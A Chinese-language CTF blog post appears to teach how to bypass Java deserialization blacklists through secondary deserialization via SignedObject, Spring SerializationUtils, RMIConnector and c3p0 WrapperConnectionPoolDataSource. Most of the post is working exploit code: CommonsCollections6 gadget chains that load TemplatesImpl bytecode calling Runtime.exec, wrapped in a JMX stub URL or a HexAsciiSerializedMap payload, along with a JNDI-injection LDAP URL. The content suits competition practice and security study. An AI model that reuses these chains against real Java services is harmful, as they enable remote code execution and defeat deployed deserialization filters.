前言 很多java题目,大都弄了个类继承ObjectInputStream
,重写其resolveClass
方法,在里面添加对反序列化类黑名单的校验。这也为我AWDP修java题提供了一些思路。
比如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public class MyObjectInputStream extends ObjectInputStream { private static final String[] blacklist = new String []{ "java\\.security.*" , "java\\.rmi.*" , "com\\.fasterxml.*" , "com\\.ctf\\.*" , "org\\.springframework.*" , "org\\.yaml.*" , "javax\\.management\\.remote.*" }; public MyObjectInputStream (InputStream inputStream) throws IOException { super (inputStream); } protected Class resolveClass (ObjectStreamClass cls) throws IOException, ClassNotFoundException { if (!contains(cls.getName())) { return super .resolveClass(cls); } else { throw new InvalidClassException ("Unexpected serialized class" , cls.getName()); } } public static boolean contains (String targetValue) { for (String forbiddenPackage : blacklist) { if (targetValue.matches(forbiddenPackage)) return true ; } return false ; } }
或这种:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public class MyownObjectInputStream extends ObjectInputStream { private ArrayList Blacklist = new ArrayList (); public MyownObjectInputStream (InputStream in) throws IOException { super (in); this .Blacklist.add(Hashtable.class.getName()); this .Blacklist.add(HashSet.class.getName()); this .Blacklist.add(JdbcRowSetImpl.class.getName()); this .Blacklist.add(TreeMap.class.getName()); this .Blacklist.add(HotSwappableTargetSource.class.getName()); this .Blacklist.add(XString.class.getName()); this .Blacklist.add(BadAttributeValueExpException.class.getName()); this .Blacklist.add(TemplatesImpl.class.getName()); this .Blacklist.add(ToStringBean.class.getName()); this .Blacklist.add("com.sun.jndi.ldap.LdapAttribute" ); } protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (this .Blacklist.contains(desc.getName())) { throw new InvalidClassException ("dont do this" ); } else { return super .resolveClass(desc); } } }
这些黑名单中的类在反序列化中当然是很有用途的。
但是在比赛做题的时候就很烦了,若没有积累充足的Java反序列化利用链经验,很难绕。而且比赛时临时去找触发类也挺难的。尤其是断网的线下环境更是抽象,种种原因甚至使得web题目里Java反序列化做出来的肯定是最少的人。
Java题就变成一道类的排列组合缝合怪了🤯,想办法缝出一条可以打通的在黑名单之外的利用链。
这时候就可以考虑一下二次反序列化了,不用你定义的检测黑名单的ObjectInputStream
去加载序列化对象,而是找到一条可以触发readObject
的链子,用原生的ObjectInputStream
去resolveClass
SignedObject 遇到过且实操过两次的好东西。
关键在于
1 java.security.SignedObject#getObject
这个类在Hessian
反序列化中也用过(Hessian的会放在后面再更),由于Hessian
反序列化的特殊性,不会执行类的readObject
来反序列化,而是通过反射获取field
再填充进一个空的实例化对象,_tfactory
又是transient
修饰,writeObject
不会写进去,导致TemplatesImpl
不能利用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public final class SignedObject implements Serializable { public SignedObject (Serializable object, PrivateKey signingKey, Signature signingEngine) throws IOException, InvalidKeyException, SignatureException { ByteArrayOutputStream b = new ByteArrayOutputStream (); ObjectOutput a = new ObjectOutputStream (b); a.writeObject(object); a.flush(); a.close(); this .content = b.toByteArray(); b.close(); this .sign(signingKey, signingEngine); } public Object getObject () throws IOException, ClassNotFoundException { ByteArrayInputStream b = new ByteArrayInputStream (this .content); ObjectInput a = new ObjectInputStream (b); Object obj = a.readObject(); b.close(); a.close(); return obj; } }
触发方式:能够执行类的getter
方法,比如配合ROME
或FastJson
打:
1 2 3 4 5 6 7 8 KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA" ); keyPairGenerator.initialize(1024 );KeyPair keyPair = keyPairGenerator.genKeyPair();PrivateKey privateKey = keyPair.getPrivate();Signature signingEngine = Signature.getInstance("DSA" );SignedObject signedObject = new SignedObject (object_with_evil_readObject, privateKey, signingEngine);
SerializationUtils 1 org.springframework.util.SerializationUtils.deserialize
1 2 3 4 5 6 7 8 public static Object deserialize (@Nullable byte [] bytes) { if (bytes == null ) { return null ; } try (ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (bytes))) { return ois.readObject(); } }
RMIConnector 1 javax.management.remote.rmi.RMIConnector#findRMIServerJRMP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 private RMIServer findRMIServerJRMP (String base64, Map<String, ?> env, boolean isIiop) throws IOException { final byte [] serialized; try { serialized = base64ToByteArray(base64); } final ByteArrayInputStream bin = new ByteArrayInputStream (serialized); final ClassLoader loader = EnvHelp.resolveClientClassLoader(env); final ObjectInputStream oin = (loader == null ) ? new ObjectInputStream (bin) : new ObjectInputStreamWithLoader (bin, loader); final Object stub; try { stub = oin.readObject(); } }
若能控制base64参数的内容就可以任意反序列化。
往上回溯:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 private RMIServer findRMIServer (JMXServiceURL directoryURL, Map<String, Object> environment) { final boolean isIiop = RMIConnectorServer.isIiopURL(directoryURL,true ); if (isIiop) { environment.put(EnvHelp.DEFAULT_ORB,resolveOrb(environment)); } String path = directoryURL.getURLPath(); int end = path.indexOf(';' ); if (end < 0 ) end = path.length(); if (path.startsWith("/jndi/" )) return findRMIServerJNDI(path.substring(6 ,end), environment, isIiop); else if (path.startsWith("/stub/" )) return findRMIServerJRMP(path.substring(6 ,end), environment, isIiop); else if (path.startsWith("/ior/" )) { if (!IIOPHelper.isAvailable()) throw new IOException ("iiop protocol not available" ); return findRMIServerIIOP(path.substring(5 ,end), environment, isIiop); } else { final String msg = "URL path must begin with /jndi/ or /stub/ " + "or /ior/: " + path; throw new MalformedURLException (msg); } }
path
以/stub/
开头就能进到findRMIServerJRMP
,path
中/stub/
为序列化字节的base64编码
path
由directoryURL#getURLPath
得到
在往上发现connect
和doStart
调用了findRMIServer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 public void connect () throws IOException { connect(null ); }public synchronized void connect (Map<String,?> environment) { final boolean tracing = logger.traceOn(); String idstr = (tracing?"[" +this .toString()+"]" :null ); if (terminated) { logger.trace("connect" ,idstr + " already closed." ); throw new IOException ("Connector closed" ); } if (connected) { logger.trace("connect" ,idstr + " already connected." ); return ; } try { final Map<String, Object> usemap = new HashMap <String, Object>((this .env==null ) ? Collections.<String, Object>emptyMap() : this .env); if (environment != null ) { EnvHelp.checkAttributes(environment); usemap.putAll(environment); } if (tracing) logger.trace("connect" ,idstr + " finding stub..." ); RMIServer stub = (rmiServer!=null )?rmiServer: findRMIServer(jmxServiceURL, usemap); } }protected void doStart () throws IOException { RMIServer stub; try { stub = (rmiServer!=null )?rmiServer: findRMIServer(jmxServiceURL, env); } }
利用CC链的InvokerTransformer
来触发connect
(doStart
被protected
修饰,不能用InvokerTransformer
触发):
以CC6为例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import java.util.Map;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.remote.JMXServiceURL;import javax.management.remote.rmi.RMIConnector;public class RMIConnectorTest { public static void setValue (Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static String getCode () throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");" ); clazz.addConstructor(constructor); byte [][] bytes = new byte [][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes" , bytes); setValue(templates, "_name" , "EddieMurphy" ); setValue(templates, "_tfactory" , null ); Transformer transformer = new InvokerTransformer ("getClass" , null , null ); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (outerMap, templates); Map expMap = new HashMap (); expMap.put(tiedMapEntry, "xxx" ); outerMap.clear(); setValue(transformer, "iMethodName" , "newTransformer" ); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(expMap); oos.close(); return new String (Base64.getEncoder().encode(baos.toByteArray())); } public static void main (String args[]) throws Exception { RMIConnector rmiConnector = new RMIConnector (new JMXServiceURL ("service:jmx:rmi://127.0.0.1:8888/stub/" + getCode()), new HashMap <>()); Transformer invokeTransformer = InvokerTransformer.getInstance("connect" ); Transformer constantTransformer = new ConstantTransformer (1 ); Map innerMap = new HashMap (); Map lazyMap = LazyMap.decorate(innerMap, constantTransformer); TiedMapEntry entry = new TiedMapEntry (lazyMap, "test" ); Map expMap = new HashMap (); expMap.put(entry, "xxx" ); lazyMap.remove("test" ); setValue(lazyMap,"factory" , invokeTransformer); setValue(entry,"key" , rmiConnector); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(expMap); oos.close(); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (baos.toByteArray())); Object o = (Object) ois.readObject(); } }
可以看到findRMIServerJRMP
支持jndi
、stub
、iiop
跟进path
以/jndi/
开头的分支:findRMIServerJNDI
:
1 2 3 4 5 6 7 8 private RMIServer findRMIServerJNDI (String jndiURL, Map<String, ?> env, boolean isIiop) throws NamingException { InitialContext ctx = new InitialContext (EnvHelp.mapToHashtable(env)); Object objref = ctx.lookup(jndiURL); ctx.close(); }
熟悉的InitialContext#lookup
,改一下path
就可以jndi
注入了
1 new JMXServiceURL ("service:jmx:rmi://127.0.0.1:8888/jndi/ldap://127.0.0.1:8099/aaa" )
WrapperConnectionPoolDataSource com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setuserOverridesAsString
可以跟进到
1 C3P0ImplUtils#parseUserOverridesAsString
1 2 3 4 5 6 7 8 9 10 11 private final static String HASM_HEADER = "HexAsciiSerializedMap" ;public static Map parseUserOverridesAsString ( String userOverridesAsString ) { if (userOverridesAsString != null ) { String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1 , userOverridesAsString.length() - 1 ); byte [] serBytes = ByteUtils.fromHexAscii( hexAscii ); return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) ); } else return Collections.EMPTY_MAP; }
注意这里字符截取是从HASM_HEADER.length() + 1
到userOverridesAsString.length() - 1
,最后一位会吃掉
1 SerializableUtils#fromByteArray
1 2 3 4 5 6 7 8 9 10 11 12 public static Object fromByteArray (byte [] bytes) { Object out = deserializeFromByteArray( bytes ); if (out instanceof IndirectlySerialized) return ((IndirectlySerialized) out).getObject(); else return out; }public static Object deserializeFromByteArray (byte [] bytes) { ObjectInputStream in = new ObjectInputStream (new ByteArrayInputStream (bytes)); return in.readObject(); }
配合fastjson
或ROME
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;import com.mchange.lang.ByteUtils;import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;public class Exp { public static void setValue (Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static byte [] getCC6Bytes() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");" ); clazz.addConstructor(constructor); byte [][] bytes = new byte [][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes" , bytes); setValue(templates, "_name" , "p4d0rn" ); setValue(templates, "_tfactory" , null ); Transformer transformer = new InvokerTransformer ("getClass" , null , null ); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (outerMap, templates); Map expMap = new HashMap (); expMap.put(tiedMapEntry, "xxx" ); outerMap.clear(); setValue(transformer, "iMethodName" , "newTransformer" ); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(expMap); oos.close(); return baos.toByteArray(); } public static void main (String[] args) throws Exception{ String hex = ByteUtils.toHexAscii(getCC6Bytes()); String payload = "HexAsciiSerializedMap:" + hex + '!' ; WrapperConnectionPoolDataSource wrapperConnectionPoolDataSource = new WrapperConnectionPoolDataSource (); wrapperConnectionPoolDataSource.setUserOverridesAsString(payload); } }
参考: